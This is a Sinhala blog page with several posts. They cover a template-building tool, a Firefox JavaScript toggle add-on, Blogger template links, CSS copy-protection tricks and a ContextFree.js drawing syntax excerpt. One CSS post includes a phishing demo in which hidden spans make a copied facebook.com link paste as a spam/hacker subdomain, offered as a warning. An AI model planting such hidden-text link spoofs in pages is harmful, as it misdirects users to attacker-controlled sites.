අනංමනං - ගේමක් නැතුව බ්ලොගර් එකට template සදාගැනිම , වෙබ් අඩවි වල javascript Enable /Disable කිරිමට ලෙහෙසි විදියක් සහ තවත් බ්ලොග් අච්චු

12

Share/Bookmark
අද නම් පොස්ට් එකක් කොටන්න තරම් , ඇඟට කික් එකක් නැහැ . තව ටිකකින් මේක කොටලා මම පොඩි ඇලට් එකක් දාන්න යනවා . වැඩිය මොකුත් නම් අද කියන්න යන්නේ නෑ , තමන්ගේ බ්ලොග් එකට තිම් එකක් හදාගන්න් ටුල් එකක් ගැනයි , තව ගිනිනරියගේ ඇඩොන් එකකුයි , බ්ලොගර් ටෙම්පේලේට් ටිකක් ගැන තමා කියන්න බලාපොරොත්තු වෙන්නේ , මොනා කරන්නද වල පල් තමා .banyakckp

මුලින්ම බ්ලොගර් එකට ලෙහෙසියෙන්ම ටෙප්ලේට් එකක් සදාගැනිම .  

ටික කාලෙක ඉඳලා ඔලුවට ගහලා තිබ්බා , මගේම බ්ලොගර් ටෙම්පෙලේට් ටිකක් හදන්න . මුලින්ම කලේ වෙන ටෙම්පෙලේට් ට්කක් අරගෙන ඒවා වල XML එකයි , CSS එකයි වෙනස් කරකර වැඩේ කලා . පස්සේ බැස්සා jquery දාගෙන පට්ට ඒවා හදන්න. වැඩේ අතරමඟ නතර උනා , ටෙම්පෙලේට් වලට ඔනේ කරන පිංතුර හදන්න ගියහම . මට ඔය කලාත්මක ඇහැක් නැ නොවැ , හදපු ඔක්කොම පිංතුර , ටෙම්පේලේට් එකත් එක්ක දැම්ම ගු පාටයි hah . එතැනින්ම ටෙම්පෙලේට් හැදිල්ල එපා උනා , වෙන වැඩ ගොඩ ගැහුණු නිසා . පස්සේ මේ ලඟකදි අපේ නිප්පාගේ බ්ලොගර් ටෙම්පෙලේට් එක හදන්න ගිහිල්ලා , මිනිහට හරියන ටෙම්පෙලේට් තෝර තෝර ඉඳලා යන්තම් template එකක් දාගන්න ගිහිල්ලා කැව අමු කට්ට නිසාත් (* අනේ මෙහෙම ලියනවට ඕං නිප්පට තරහා යයිද දන්නේනෑ අපේ නිප්පාට sengihnampakgigi , මෙතැන වැඩේ වුනේ මේ smiles ටික දාගන්න එක . නමුත් ගොඩක් අපි try කරපු ටෙම්පෙලේට් වලට , මම අරගෙන තිබ්බ script එක වැඩ නෑ , ඉතින් ඔතැනදි කාපු කට්ට තමා . script එක මොනාහරි කරලා වෙනස් කරගෙන වැඩේ කරගන්න පුලුවන්, නමුත් ඇඟට කික් වෙලා යන template එකක් හොයාගන්න තමා ගු කට්ටක් කැවේ ....) මට හිතුණා ඔය බ්ලොගර් ටෙම්පෙලේට් එකක් ලෙහෙසියෙන්ම හදාගන්න පුලුවන් ටුල් එකක් ගැන හොයන්න .
around

               
                                               

ටික ටික ජංජාලයේ හොය හොය ඉන්නකොට මට හම්බවුනා මරු ටොයියෙක් . ඒක තමා "Artisteer". ඔයාලට මේක "http://www.artisteer.com" එකෙන් භාගතකරගන්න පුලුවන් . මේ කිරිටොයියගේ තියන පට්ටකම කියන්නේ අපිට බ්ලොගර් වලට විතරක් නෙවෙයි , Joomla , Wordpress , Drupal , DotnetNuke වගේ script වලටත් , ඒවගේම සාමානය තමන්ගේ අවශයතාවයන්ට සරිලන පරිදි සරල HTML වෙබ් අඩවි පහසුවෙන් නිර්මාණය කරගැනිමේ පහසුකමද සලසාදි තිබේ  hah. MS Word 2007 වල වගේ user interface එකක් තියන්නේ . භාවිතය හරිම පහසුයි . තව මෙහි ඇති අඟනා පහසුමකමක් තමයි අහඹු ලෙස අපට ඒ අදාල script එකට ටෙම්පෙලේට් නිර්මාණය කරදිම . ඔයාලත් ඔය පලින් තියන විඩීයෝ කට්ට බලන්නකෝ , එතකොට තේරෙයි මේකේ රඟේ . hah




ආ කියන්න අමතක වුනානේ මේකේ තියන තමා වාසියක් තමා , අපි දැන් බ්ලොගර් ටෙම්පෙලේට් එකක් හදාගත්තට පස්සේ ඒක upload කරගන්න එපැයි පින්තුර ටික එහෙම . ඉතින් ඔය වැඩ ටිකත් අපිට මේකෙන්ම ගේමක් නැතුව කරගන්න පුලුවන් (* බ්ලොගර් ටෙම්පෙලේට් වල පින්තුර ටික Imageshack , Picasa , වෙන ඔයාගේ වෙබ් අඩවියකට FTP හරහා හරි දාගන්න පුලුවන්). ආ setup එක ගන්නකොට පොඩ්ඩක් පරිස්සම් වෙන්න , මොකද මම වෙබ් අඩවියෙන් ගත්ත setup (v 2.4 for windows) එක install කරනකොට 73% ගිහිල්ලා "Out of memory" කියලා error එකක් ඇවිල්ලා නතර වෙනවා  . ඒක නිසා පොඩ්ඩක් setup එක ගන්නකොට cnet.com එකෙන් search කරලා ගන්න (*http://download.cnet.com/Artisteer/3000-10247_4-10886734.html?tag=mncol). garupale


* Firefox Addon  එක - javascript Enable /Disable  කිරිමට .

මට ඔය සමහර වෙලාවට තියන අවුලක් තමා වෙබ් අඩවි වල javascript දාලා , කරලා තියන එක එක මඟුල් . සමහර වෙලාවට යකා නඟිනවා මේවා දැක්කම . එපා කරපු එක තමා මොනාහරි පොඩි විස්තරයක් පොඩි කොපිකැට් කිරිල්ලක් දාන්න හදනකොට , ඒක කරන්න බැරිවෙන්න දාලා තියන rightclick disable කිරිල්ල . ඉතින් හැමවෙලාවෙම ගිනිනරියගේ tools > options > content > javascript enabled එකේ ටික් එක යවන්නයි , ආයේ ඒක දාන්නයි ගියහම මලලම පනිනවානේ tension. ඒක නිසා මේක ලේසියෙන්ම කරගන්න පුලුවන් ප්ලගින් එකක් හෙව්වා . පස්සේ හොයනකොට හම්බවුණා රෑම් එක කන්නේ නැති කිරිටොයියෙක් . එයාගේ නම නම් "Quick java" . පට්ට වැඩේ කියන්නේ මේකෙන්javascript විතරක් නෙවෙයි ,  Java , Flash , Sliverlight , Images Loading , CSS ගින්නක් නැතුව  enable /disable කරන්න පුලුවන් .මේක පාවිචිචි කරන්නත් මාර ලෙහෙසි කියන්නේ , ඔයාට කරන්න තියන්නේ වෙබ් අඩවියකට ගියහම යට browser tray (status bar) එකේ පොඩි අකුරු වලින් පෙන්නලා තියන option කීලික් කරලා අදාල දේ Enable / Disable කරගන්න පුලුවන් . පහත පින්තුරය බලන්නකෝ එතකොට ඔයාලට තේරෙයි . garupale



මේ ඇඩොන් එක තියන්නේ ගිනිනරියට පමණයි , ඔයාලට මේක  https://addons.mozilla.org/en-US/firefox/addon/1237/ ගන්න පුලුවන් . ඔයත් දාගෙනම බලන්නකෝ !!


* බ්ලොග් අච්චු ......


1. Penciling 



Demo : http://btemplates.com/2010/blogger-template-penciling/demo/
Download : http://btemplates.com/download/2316/

2. Accordian



Demo : http://btemplates.com/2010/blogger-template-accordion/demo/
Download : http://btemplates.com/download/2169/

3. Penciling 


Demo : http://btemplates.com/2008/blogger-template-wordpress-admin/demo/
Download : http://btemplates.com/download/642/

 3. Aku boonto


Demo : http://btemplates.com/2009/blogger-template-aku-boonto/demo/
Download :http://btemplates.com/download/939/
 4. Blogtterfly


Demo : http://btemplates.com/2010/blogger-template-blogtterfly/demo/
Download :http://btemplates.com/download/1884/ 

 5. Design Pile Green



Demo : http://btemplates.com/2010/blogger-template-design-pile-green/demo/
Download :http://btemplates.com/download/1813/ 

 6. Grunge Theme


Demo :http://btemplates.com/2010/blogger-template-grunge-theme/demo/
Download :http://btemplates.com/download/1683/


 7. Multimedia Blog


Demo :http://btemplates.com/2010/blogger-template-multimedia-blog/demo/
Download :http://btemplates.com/download/2298/

මොකද හිතන්නේ මේ ගැන , ඔය පහළින් කොමෙන්ට් එකක් දාලම යන්නකෝ !!!garupale

ඉතිරිය කියවන්න .....>>

 

රැවටිල්ල - CSS සමඟ Copy-And-Paste නැවතිම

11

Share/Bookmark
දවස් 6 කින් විතර මුකුත් ලියන්න බැරිවුනා ,මේකත් නිකම් පාලුවට ගිහිල්ලා වගේ . අනේ දුකෙත් බෑ nangih! ; හරි හරි අද කියන්න යන්නේ තමගේ කියලා වටින දෙයක් වෙබ් අඩ්වියක තියවානම් ඒක බේරගන්න පුලුවන් , පට්ට සරල ක්‍රමයක් ගැන . මේක ඉතින් ඔන්න අර පරණ තාලේ javascript එකක් නම් නෙවෙයි sengihnampakgigi, හපෝ ඔයාලා දන්නනවානේ ,  browser එකෙන් javascript disable කරපු ගමන් ඉතින් script ඔක්කොටම බඩු පැකට්නේ . අද මම කියන්න යන්නේ CSS යොදාගෙන කොහොමද තමන්ගේ දේවල් හොරුන්ගෙන් බේරගන්නේ කියලා .මේකත් මම අද ගෙදර නිසා azarask.in බ්ලොග් එක කියවන කොට හම්බවුණා . ලියලා ඉවර කරන්න ඕනේ හැකින් පොස්ට් ටිකත් draft කරලා තියන ගමනම තමා මේකත් ලියන්න හිතුණේ . garupale


හරි අපි වැල් වටාරන් නැතුව වැඩේට බහිමුකෝ . දැන් හිතන්න අපේ වැදගත් කියලා හිතන විස්තර ටිකක් වෙබ් අඩවියක තියනවා කියලා . හිතන්න මේ තියන විස්තර අපිට ඔය web bot ලගෙනුයි , web scrapping කරන අයගෙනුයි බේරගෙන , සාමාන‍ය මිනිසුන්ට තියන දේ තේරුම්ගන්න පුලුවන් විදිහට පෙන්නන්න ඕනේ කියලා, අන්න ඒක තමා අපි මෙතැනදි CSS භාවිතාකරගෙන කරන්න බලාපොරොත්තු වෙන්නේ hah . මෙහි අපි මුලිකවම කරන්නේ HTML එකේ source එක CSS යොදාගෙන mix කරනවා bot කෙනෙකුට අඳුනගන්න අමාරුවෙන්න , නමුත් මෙහි visual rending ( browser එකෙන් අපිට පෙනෙන සාමානය විදිහ ) එක කියවිය හැකි ලෙස තියෙනවා . පහත විඩියෝ කට්ට බලන්නකෝ.






හරි දැන් ඔයාලා විඩියෝ එක බැලුවානේ දැන් බලමුකෝ ඒවගේ CSS යොදාගෙන හදාගන්නේ කියලා .
හරි මුලින්ම බලමුකෝ විඩීයෝ විදිහට  ;
* කොහොමද තමන්ගේ e-mail එක බේරගන්නේ කියලා .

Demo :

  kodagod[REMOVETHIS]aashan@ya
[REMOVETHIS]hoo.com       

ඉහත මගේ e-mail ලිපිනය ඇත . දැන් එය කොපි කර වෙන තැනකට පිටපත් කරන්නකෝ . පේන්වානේ වුන වැඩේ garupale . e-mail එක අතරට "[REMOVETHIS]" කියලා ආවා . ඉස්සෙල්ලාම පහත කේතය බලන්නකෝ .

කේතය :

<div>
<style>
.z{
  float:right;
  font-size:.001px;
  color:transparent;
  display:inline-block;
  width:0px;
  }
  </style>
&nbsp; kodagod<span class="z">[REMOVETHIS]</span>aashan@ya<span class="z">
[REMOVETHIS]</span>ho<span class="y">o.c</span>om</div>

හරි කේතය ගැන බැලුවොත් ඔයාලට පේනවා ඇති මම CSS වල  . z වලින් class එකක් ලියලා තියනව බව . ඔකෙන් අපිට වැදගත් වෙන්නේ z class  එකේ colour  එක transparent (කරලා තියන එකයි . එතකොට මෙතැනදි වෙන්නේ අපි .z class එක call කරලා ලියන්න ඕනේ දේ ඒක ඇතුලේ ලියුවහම , අපි ඒ ලියපු වචන කිහිපය බලන අපිට නොපෙන්වා source එකේ පමනක් හැංගිලා තියනවා . සරලව කියුවොත් අපි ඔය z class තුල ලියලා තියන ඒවා ඔයාලට පෙන්නේ නෑ , නමුත් ඔයාලා e-mail එක කොපි කරන්න හැදුවොත් browser  එක දන්නේ නැ , ඔය e-mail එක තුල තියන අනික් වචන ටික .browser එක ඔය ඔක්කොම කොපි කරලා දෙනවා . hah

* කොහොමද බ්ලොග් හොරුන්ගෙන් තමන්ගේ post බේරගන්නේ කියලා .

අනික් එක තමා මේක යොදාගන්න පුලුවන් ඔය web scrapping වගේ වැඩ වලින්. web scrapping වල්දී මුලිකවම කරන්නේ වෙනත් වෙබ් අඩවි වල තිබෙන දත්ත bot කෙනෙක් ඇතිව හෝ නැතිව ස්වයංක්‍රියවම ලබගැනිමයි . දැන් ඔය අපේ බ්ලොග් අවකාශයෙත් ඉන්නේ එහෙම් පිටින්ම පොස්ට් අච්චු ගහන එවුන් garupale. අන්න ඒ වගේ එවුන්ගෙන් වුන්ත් තමන්ගේ පොස්ට් බේරගන්නත් මේ ක්‍රමය භාවිතා කරන්න පුළුවන් .

Demo :

  තොඩ්වව්ඩ්ෆ්ග්ස්ල්ක්රතුරුඩ්වව්ඩ්ෆ්ග්ස්ල්ක් සහ සන්නිවේදන Information and communication technologies (ICT) යඩ්වව්ඩ්ෆ්ග්ස්ල්ක්නු තොරඩ්වව්ඩ්ෆ්ග්ස්ල්ක්තුරු සැඩ්වව්ඩ්ෆ්ග්ස්ල්ක්කසුම් සහ සන්නිවේදනය සමිබන්ධ සියලු පැතිකඩ ආවරණය කෙරෙන යෙදුඩ්වව්ඩ්ෆ්ග්ස්ල්ක්මකි.මෙතුඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ළින් මූඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ලික වශඩ්වව්ඩ්ෆ්ග්ස්ල්ක්යෙන් ප්‍රාථමික-ඩිජිටල්(pre-digital) තාක්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ෂණයන් ,එනම් මුද්‍රිත තාක්ෂණයන් ද ඇතුඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ලත්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ව විස්තර කෙරුනද, ප්‍රධාඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්න වඩ්වව්ඩ්ෆ්ග්ස්ල්ක්ශයෙඩ්වව්ඩ්ෆ්ග්ස්ල්ක්න්ම විස්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්තර කරඩ්වව්ඩ්ෆ්ග්ස්ල්ක්නු ලඩ්වව්ඩ්ෆ්ග්ස්ල්ක්බන්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්නේ තොඩ්වව්ඩ්ෆ්ග්ස්ල්ක්රතුඩ්වව්ඩ්ෆ්ග්ස්ල්ක්රැ සන්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්නිව්ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්දනයට යෙදාගන්නා ඩිජිටල් ෆ්ග්ස්ල්ක්තාක්ෆ්ග්ස්ල්ක්ෂණ විධි ෆ්ග්ස්ල්ක්ක්‍රම( සන්නිෙව්දන ටොෆ්ග්ස්ල්ක්කෝල,සම්ෙපේෂණය උපක්‍රම,සන්නිෙව්දන උපකරණ, මාධ්ය සන්නිෙව්දනය) සෆ්ග්ස්ල්ක්හ තොරෆ්ග්ස්ල්ක්තුරැ ගබෆ්ග්ස්ල්ක්ඩා කිරිෆ්ග්ස්ල්ක්ම සහ සැකෆ්ග්ස්ල්ක්සුම් (ගණනෆ්ග්ස්ල්ක්ය කිරීෆ්ග්ස්ල්ක්ම,දත්ෆ්ග්ස්ල්ක්ත ගබෆ්ග්ස්ල්ක්ඩා කිරිෆ්ග්ස්ල්ක්ම)උෆ්ග්ස්ල්ක්පක්‍රෆ්ග්ස්ල්ක්මයෆ්ග්ස්ල්ක්න්ෆ්ග්ස්ල්ක්ය.මෙෆ්ග්ස්ල්ක්ම යෙෆ්ග්ස්ල්ක්දුෆ්ග්ස්ල්ක්ම ජනප්‍රයතාෆ්ග්ස්ල්ක්වයක් අෆ්ග්ස්ල්ක්ත්පෆ්ග්ස්ල්ක්ත් කෆ්ග්ස්ල්ක්රගැනීමෆ්ග්ස්ල්ක්ට පාෆ්ග්ස්ල්ක්ර්ෂ්විෆ්ග්ස්ල්ක්ක හේෆ්ග්ස්ල්ක්තුවෆ්ග්ස්ල්ක්ක් වූෆ්ග්ස්ල්ක්යේ තොෆ්ග්ස්ල්ක්රතුෆ්ග්ස්ල්ක්රු තාෆ්ග්ස්ල්ක්ක්ෂෆ්ග්ස්ල්ක්ණය සහ ටෙෆ්ග්ස්ල්ක්ලිකොෆ්ග්ස්ල්ක්ම් තාෆ්ග්ස්ල්ක්ක්ෂෆ්ග්ස්ල්ක්ණය සන්ෆ්ග්ස්ල්ක්නිපාතෆ්ග්ස්ල්ක්නෆ්ග්ස්ල්ක්යෆ්ග්ස්ල්ක්යිෆ්ග්ස්ල්ක්.      

ඉහත ඡේදය පිටපත් කරගෙන වෙන තැනක paste කරලා බලන්නකෝ මොකද වෙන්නේ කියලා . නිකම් වචන අදුනගන්න බැරි විකාරයක් පේනවා නේද (වැඩිය ඕක remix කරන්න ගියේ නෑ , ලිපිය ඉක්මනට කොටාගන්නත් ඕනේ නේ .... garupale)??

 කේතය : 
<div>
<style>
.z{
  float:right;
  font-size:.001px;
  color:transparent;
  display:inline-block;
  width:0px;
  </style>
තො<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>රතුරු<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>  සහ සන්නිවේදන Information and communication technologies undefinedICT)  ය<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>නු තොර<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>තුරු සැ<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>කසුම් සහ සන්නිවේදනය සමිබන්ධ සියලු පැතිකඩ ආවරණය කෙරෙන යෙදු<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>මකි.මෙතු<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ළින් මූ<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ලික වශ<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>යෙන් ප්‍රාථමික-ඩිජිටල්undefinedpre-digital) තාක්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ෂණයන් ,එනම් මුද්‍රිත තාක්ෂණයන් ද ඇතු<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ලත්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ව විස්තර කෙරුනද, ප්‍රධා<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span><span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>න ව<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>ශයෙ<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>න්ම විස්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>තර කර<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>නු ල<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>බන්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>නේ තො<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>රතු<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>රැ සන්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>නිව්<span class="z">ඩ්වව්ඩ්ෆ්ග්ස්ල්ක්</span>දනයට යෙදාගන්නා ඩිජිටල් <span class="z">ෆ්ග්ස්ල්ක්</span>තාක්<span class="z">ෆ්ග්ස්ල්ක්</span>ෂණ විධි <span class="z">ෆ්ග්ස්ල්ක්</span>ක්‍රමundefined සන්නිෙව්දන ටො<span class="z">ෆ්ග්ස්ල්ක්</span>කෝල,සම්ෙපේෂණය උපක්‍රම,සන්නිෙව්දන උපකරණ, මාධ්ය සන්නිෙව්දනය) ස<span class="z">ෆ්ග්ස්ල්ක්</span>හ තොර<span class="z">ෆ්ග්ස්ල්ක්</span>තුරැ ගබ<span class="z">ෆ්ග්ස්ල්ක්</span>ඩා කිරි<span class="z">ෆ්ග්ස්ල්ක්</span>ම සහ සැක<span class="z">ෆ්ග්ස්ල්ක්</span>සුම් undefinedගණන<span class="z">ෆ්ග්ස්ල්ක්</span>ය කිරී<span class="z">ෆ්ග්ස්ල්ක්</span>ම,දත්<span class="z">ෆ්ග්ස්ල්ක්</span>ත ගබ<span class="z">ෆ්ග්ස්ල්ක්</span>ඩා කිරි<span class="z">ෆ්ග්ස්ල්ක්</span>ම)උ<span class="z">ෆ්ග්ස්ල්ක්</span>පක්‍ර<span class="z">ෆ්ග්ස්ල්ක්</span>මය<span class="z">ෆ්ග්ස්ල්ක්</span>න්<span class="z">ෆ්ග්ස්ල්ක්</span>ය.මෙ<span class="z">ෆ්ග්ස්ල්ක්</span>ම යෙ<span class="z">ෆ්ග්ස්ල්ක්</span>දු<span class="z">ෆ්ග්ස්ල්ක්</span>ම ජනප්‍රයතා<span class="z">ෆ්ග්ස්ල්ක්</span>වයක් අ<span class="z">ෆ්ග්ස්ල්ක්</span>ත්ප<span class="z">ෆ්ග්ස්ල්ක්</span>ත් ක<span class="z">ෆ්ග්ස්ල්ක්</span>රගැනීම<span class="z">ෆ්ග්ස්ල්ක්</span>ට පා<span class="z">ෆ්ග්ස්ල්ක්</span>ර්ෂ්වි<span class="z">ෆ්ග්ස්ල්ක්</span>ක හේ<span class="z">ෆ්ග්ස්ල්ක්</span>තුව<span class="z">ෆ්ග්ස්ල්ක්</span>ක් වූ<span class="z">ෆ්ග්ස්ල්ක්</span>යේ තො<span class="z">ෆ්ග්ස්ල්ක්</span>රතු<span class="z">ෆ්ග්ස්ල්ක්</span>රු තා<span class="z">ෆ්ග්ස්ල්ක්</span>ක්ෂ<span class="z">ෆ්ග්ස්ල්ක්</span>ණය සහ ටෙ<span class="z">ෆ්ග්ස්ල්ක්</span>ලිකො<span class="z">ෆ්ග්ස්ල්ක්</span>ම් තා<span class="z">ෆ්ග්ස්ල්ක්</span>ක්ෂ<span class="z">ෆ්ග්ස්ල්ක්</span>ණය සන්<span class="z">ෆ්ග්ස්ල්ක්</span>නිපාත<span class="z">ෆ්ග්ස්ල්ක්</span>න<span class="z">ෆ්ග්ස්ල්ක්</span>ය<span class="z">ෆ්ග්ස්ල්ක්</span>යි<span class="z">ෆ්ග්ස්ල්ක්</span></div>

ඉහත උදාහරනයේ කරලා තියන්නේ ඡේදය අතර z class එක ගොඩ සැරයක් යොදාගෙන තියනවා .

 * කොහොමද phishing වලට මේ ක්‍රමය යොදාගන්නේ කියලා .

දැන් ඔය phishing වලදි බොහෝ අය කියන්නේ තමන්ම , ඕනෙම වෙබ් අඩවියක URL එක copy කරලා paste කලොත් එල කියලනේ . ඒ වුනත් පහත් Demo එක බලන්නකෝ මොකද වෙන්නේ කියලා . ඔකේ තියන address එක කොපි කරලා address bar එකේ paste කරලා බලන්නකෝ garupale.

Demo :

  http://spam.virus.hacker.facebook.com
දැක්කනේ මොකද වුනේ කියලා , ඒක නිසා Web Address එක්ක කටයුතු කරන කොට.

කේතය :
<div>
<style>
.z{
  float:right;
  font-size:.001px;
  color:transparent;
  display:inline-block;
  width:0px;
  }
  
</style>
<blockquote>
&nbsp; http://<span class="z">spam.virus.hacker.</span>facebook.com</blockquote>
</div>

හරි මම දැන් ඔය විඩියෝ එකේ තියන ඒවා ඔක්කොම කියුවනේ , මට මතක් වුන තව වැදගත් කියලා හිතන තැන් දෙකක් පෙන්වන්නම්කෝ මෙම ක්‍රමය භාවිතා කරන .

* කොහොමද picture එකක් බේරගන්න මේ ක්‍රමය යොදාගන්නේ කියලා.
හිතන්න අපේ වෙබ් අඩවියේ තිබෙන පින්තුර කාටවත් කොපි කරගන්න බැරිවෙන විදිහට හදාගන්න ඔනේ කියලා . එහෙනම් ඒක කර්ගන්නත් මේ CSS එක භාවිතා කරන්න පුලුවන් . පහත demo එක බලන්නකෝ .පුලුවන්නම් ඒක කොපි කරගන්න බලන්න (*source code එක බලලා URL එක ගන්නේ නැතුව) busuk.

Demo :




කේතය :
<div id="images1" style="overflow: hidden; position: absolute; width: 142px; height: 200px; z-index: 0;">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpVu9zUzLeRhKzltKKHO68RFteEfddJSkkEmD4E1kQqlP__9t5y3MGpKA9G9ZQSaL_pIdFkemNrWQJpFpAnlVuKeo_g9cAN6B0RhSE-WbeRqlUPm-VoUkeHQc_qbG8B9wuXy5Wg1s5tw/s200/flower-dewlance.gif" border="0" alt="" width="142" height="200" /></div>
<div id="images2" style="overflow: hidden; position: absolute; width: 145px; height: 202px; z-index: 1;">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrGSH-Wd2SBwFscl16ycj0WIeEzi9jnpRixOaQdvifGUuyv-lqKq8QrhOLHcyNryv7UVx8Nas9vVNH7Gmdls9pYkEkRfznnFA1Bl2V7ochAShwvzQTl086YzRX00TxxPulePZCyAjTv40/s320/1pixel-transparentimage.gif" border="0" alt="" width="1" height="1" /></div>
මෙතැන කරලා තියන්නේ අපිට ආරක්ෂා කීරිමට අවශය පින්තුරය , 1px*1px විනිවිද පෙනෙන පින්තුරයක් මඟින් ආවරණය කර තිබේ (අපේ ආරක්ෂා කීරිමට අවශය පින්තුරයට උඩින් 1px*1px විනිවිද පෙනෙන පින්තුරය දමා තිබේ ). මේක ගොඩක් වටිනවා වගේම 1px*1px විනිවිද පෙනෙන පින්තුරයට වැයවනුයේ 43 bytes වැනි කුඩා ප්‍රමාණයක් නිසා bandwidth එක ගැන බය විමට දෙයක් නැත  sengihnampakgigi .

* කොහොමද තමන්ගේ text බේරගන්න මේ ක්‍රමය යොදාගන්නේ කියලා.

ඉහත භාවිතා කල ක්‍රමයම අපිට අපේ text බේරාගැනිමටත් භාවිතා කල හැක . ඒ කියන්නේ මෙවර picture එකක් වෙනුවට තියන්නේ text තිබෙන අතර  අප 1px*1px විනිවිද පෙනෙන පින්තුරය මඟින් එම text සියල්ලම වසා දමනු ලැබේ . blur

Demo :


කේතය :
<div id="images1" style="overflow: hidden; position: absolute; width: 142px; height: 200px; z-index: 0;"><b><h2>Copy me if you can ?? ; පුලුවන් නම් මාව කොපි කරන්නකෝ ??? </h2></b></div>
<div id="images2" style="overflow: hidden; position: absolute; width: 145px; height: 202px; z-index: 1;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrGSH-Wd2SBwFscl16ycj0WIeEzi9jnpRixOaQdvifGUuyv-lqKq8QrhOLHcyNryv7UVx8Nas9vVNH7Gmdls9pYkEkRfznnFA1Bl2V7ochAShwvzQTl086YzRX00TxxPulePZCyAjTv40/s320/1pixel-transparentimage.gif" border="0" alt="" width="1" height="1" /></div>

මොකද හිතන්නේ මේ ගැන , ඔය පහළින් කොමෙන්ට් එකක් දාලම යන්නකෝ !!!garupale

Source : blog.dewlance.com , azarask.in
ඉතිරිය කියවන්න .....>>

 

අලංකාරය සහ සැපපහසුව - javascript සමඟ පට්ටම චිත්‍ර ඇඳීම සහ Ubiquity ප්ලගිනය

4

Share/Bookmark
ඊට ඉස්සෙල්ලා පොස්ට් එකේ දැම්ම "azarask.in" වෙබ් අඩවියේ තිබිලා තමා මේදෙන්නත් හම්බ වුනේ . මේකත් පස්සේ දාන්න තිබ්බොත් අමතක වෙයි කියලා හිතලා ඉක්මනට දාන්න හිතුණා . javascript සමඟ චිත්‍ර ඇඳීම ගැන කථා කරනවා නම් මෙයට කියන්නේ Algorithm Ink කියලා.  garupale



ඔයාලට web based demo එකක් http://azarask.in/projects/algorithm-ink/ බලාගන්න පුලුවන් . ඔයාලට මෙයින් චිත්‍ර අඳින්න වගේම ඒවා පින්තුර ලෙස save කරගැනිමේ හැකියවත් ලබාදී තිබෙනවා .මතක තියාගන්න මේක Internet Explorer වල run වෙන්නේනෑ , ඔයාලට හොඳට බලන්න ඕනේනම් firefox දාලා බලන්නකෝ.මම web based demo එක ඔයාලෙගේ වෙබ් අඩවියට දාන්න පුලුවන් විදිහට script එක එකතු කරලා ගත්තා . ඒක ඔයාලට http://www.mediafire.com/?jymammzkzrc මඟින් භාගත හැක .




 A Peak at the Syntax

The grammar is pretty simple. Let’s start by making a circle:
startshape shape
rule shape{
 CIRCLE{}
}
This says start by drawing the rule named “shape”. The rule shape says to draw a circle.

Now let’s make things more interesting:
startshape shape
rule shape{
 CIRCLE{}
 shape{ s .5 b .2 x -.25 }
}
We’ve added a single line which says that part of the rule for “shape” is to draw itself, scaled down by half, with a slightly increased brightness, drawn on the left side of its parent circle. This makes an off-centered bulls-eye pattern.

Now let’s go to the right, as well as the left:
startshape shape
rule shape{
 CIRCLE{}
 shape{ s .5 b .2 x -.25 }
 shape{ s .5 b .2 x .25 }
}

For comparison, this is what the equivalent code in Processing.js looks like:
// Processing.js code to make the same circle pattern.
void setup()
{
  size(200, 200);
  noStroke();
  smooth();
  noLoop();
}
void draw()
{
  drawCircle(126, 170, 6);
}
void drawCircle(int x, int radius, int level)
{
  float tt = 126 * level/4.0;
  fill(tt);
  ellipse(x, 100, radius*2, radius*2);
  if(level > 1) {
    level = level - 1;
    drawCircle(x - radius/2, radius/2, level);
    drawCircle(x + radius/2, radius/2, level);
  }
}
It’s much longer, involves more setup, and more fiddly calculations. In fact, the entire ContextFree.js source is as long as the setup function. Of course, by simplifying so much in ContextFree.js, we’ve also removed the flexibility Processing.js affords.
Adding one more line of code gives an unexpected result: The Sierpinski Triangle. I’ll leave it as an exercise for the reader to figure out what that line of code is, but I doubt that it will be much of a puzzle.

Follow the mouse

The equivalent of “Hello, World!” for a graphical environment is a dot that follows the cursor, replete with a fading trail. This is what it looks like in ContextFree.js:
startshape DOT
rule DOT{
  SQUARE{ s 4 b 1 a -.9 }
  SQUARE{ s .3 }
}
rule MOUSEMOVE{
  DOT{ }
}
